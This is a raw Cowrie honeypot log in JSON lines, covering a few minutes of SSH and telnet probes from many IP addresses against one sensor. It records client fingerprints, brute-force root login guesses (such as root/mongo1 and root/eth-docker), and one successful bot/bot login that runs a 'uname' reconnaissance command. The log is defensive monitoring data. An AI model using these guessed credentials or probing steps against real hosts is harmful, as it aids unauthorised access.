{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46060,"dst_ip":"10.17.0.5","dst_port":23,"session":"26d1aa430845","protocol":"telnet","message":"New connection: 152.42.224.71:46060 (10.17.0.5:23) [session: 26d1aa430845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:37.319541Z"}
{"eventid":"cowrie.session.closed","duration":33.54580283164978,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:37.897466Z","src_ip":"152.42.224.71","session":"1f30fe258616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:38.084574Z","src_ip":"43.159.35.21","session":"af379a3997e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5a6eac33137","protocol":"ssh","message":"New connection: 62.193.106.227:42300 (10.17.0.5:22) [session: e5a6eac33137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:38.130368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:38.136690Z","src_ip":"62.193.106.227","session":"e5a6eac33137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:38.285180Z","src_ip":"62.193.106.227","session":"e5a6eac33137","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gmod","message":"login attempt [root/gmod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:38.900713Z","src_ip":"62.193.106.227","session":"e5a6eac33137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0fcd5d2d920","protocol":"telnet","message":"New connection: 152.42.224.71:46076 (10.17.0.5:23) [session: d0fcd5d2d920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:39.203166Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:40.049921Z","src_ip":"62.193.106.227","session":"e5a6eac33137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.332448959350586,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:43.651878Z","src_ip":"152.42.224.71","session":"26d1aa430845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.643859148025513,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:50.356184Z","src_ip":"152.42.224.71","session":"ad06ff50c8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47004,"dst_ip":"10.17.0.5","dst_port":23,"session":"0154512d837f","protocol":"telnet","message":"New connection: 152.42.224.71:47004 (10.17.0.5:23) [session: 0154512d837f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:54.003210Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55194,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b0290375c3a","protocol":"ssh","message":"New connection: 193.32.162.145:55194 (10.17.0.5:22) [session: 0b0290375c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:54.388036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:54.397418Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:54.499441Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:54.858402Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:55.134309Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:55.138404Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:55.243406Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:37:55.249449Z","src_ip":"193.32.162.145","session":"0b0290375c3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38390,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fdf73df8379","protocol":"telnet","message":"New connection: 152.42.224.71:38390 (10.17.0.5:23) [session: 9fdf73df8379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:09.301395Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca82a31d8e88","protocol":"telnet","message":"New connection: 152.42.224.71:41852 (10.17.0.5:23) [session: ca82a31d8e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:17.005977Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":53414,"dst_ip":"10.17.0.5","dst_port":22,"session":"faf5a369d0b0","protocol":"ssh","message":"New connection: 43.153.54.120:53414 (10.17.0.5:22) [session: faf5a369d0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:21.639690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:21.644049Z","src_ip":"43.153.54.120","session":"faf5a369d0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:21.712309Z","src_ip":"43.153.54.120","session":"faf5a369d0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@123","message":"login attempt [root/abcd@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:22.015879Z","src_ip":"43.153.54.120","session":"faf5a369d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:23.088820Z","src_ip":"43.153.54.120","session":"faf5a369d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.78793239593506,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:25.534822Z","src_ip":"152.42.224.71","session":"3924a9199bc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":53752,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0a14b803f5","protocol":"ssh","message":"New connection: 194.147.93.208:53752 (10.17.0.5:22) [session: ef0a14b803f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:25.548646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:25.553804Z","src_ip":"194.147.93.208","session":"ef0a14b803f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:25.654445Z","src_ip":"194.147.93.208","session":"ef0a14b803f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mongo1","message":"login attempt [root/mongo1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:26.050323Z","src_ip":"194.147.93.208","session":"ef0a14b803f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:27.150606Z","src_ip":"194.147.93.208","session":"ef0a14b803f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53552,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32078032498","protocol":"telnet","message":"New connection: 152.42.224.71:53552 (10.17.0.5:23) [session: d32078032498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:30.403911Z"}
{"eventid":"cowrie.session.closed","duration":37.12507748603821,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:31.127924Z","src_ip":"152.42.224.71","session":"0154512d837f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":42812,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b5d06a0c488","protocol":"ssh","message":"New connection: 147.45.197.250:42812 (10.17.0.5:22) [session: 8b5d06a0c488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:33.693914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:33.698586Z","src_ip":"147.45.197.250","session":"8b5d06a0c488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:34.107987Z","src_ip":"147.45.197.250","session":"8b5d06a0c488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"55555q","message":"login attempt [root/55555q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:34.718457Z","src_ip":"147.45.197.250","session":"8b5d06a0c488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:35.816415Z","src_ip":"147.45.197.250","session":"8b5d06a0c488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.133652687072754,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:42.336473Z","src_ip":"152.42.224.71","session":"d0fcd5d2d920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.66354465484619,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:44.964817Z","src_ip":"152.42.224.71","session":"9fdf73df8379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":32868,"dst_ip":"159.203.135.109","dst_port":23,"session":"444bf9b289f6","protocol":"telnet","message":"New connection: 213.108.3.46:32868 (159.203.135.109:23) [session: 444bf9b289f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:49.965170Z"}
{"eventid":"cowrie.session.closed","duration":0.015182256698608398,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:49.980229Z","src_ip":"213.108.3.46","session":"444bf9b289f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":38210,"dst_ip":"10.17.0.5","dst_port":22,"session":"117193488af5","protocol":"ssh","message":"New connection: 62.193.106.227:38210 (10.17.0.5:22) [session: 117193488af5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:54.974049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:54.982272Z","src_ip":"62.193.106.227","session":"117193488af5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:55.128241Z","src_ip":"62.193.106.227","session":"117193488af5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eth-docker","message":"login attempt [root/eth-docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:55.737216Z","src_ip":"62.193.106.227","session":"117193488af5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:56.886142Z","src_ip":"62.193.106.227","session":"117193488af5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45630,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b141752a3f7","protocol":"telnet","message":"New connection: 152.42.224.71:45630 (10.17.0.5:23) [session: 9b141752a3f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:38:58.566958Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":48778,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5718de1af9a","protocol":"ssh","message":"New connection: 43.159.35.21:48778 (10.17.0.5:22) [session: c5718de1af9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:00.059834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:39:00.065643Z","src_ip":"43.159.35.21","session":"c5718de1af9a","protocol":"ssh"}
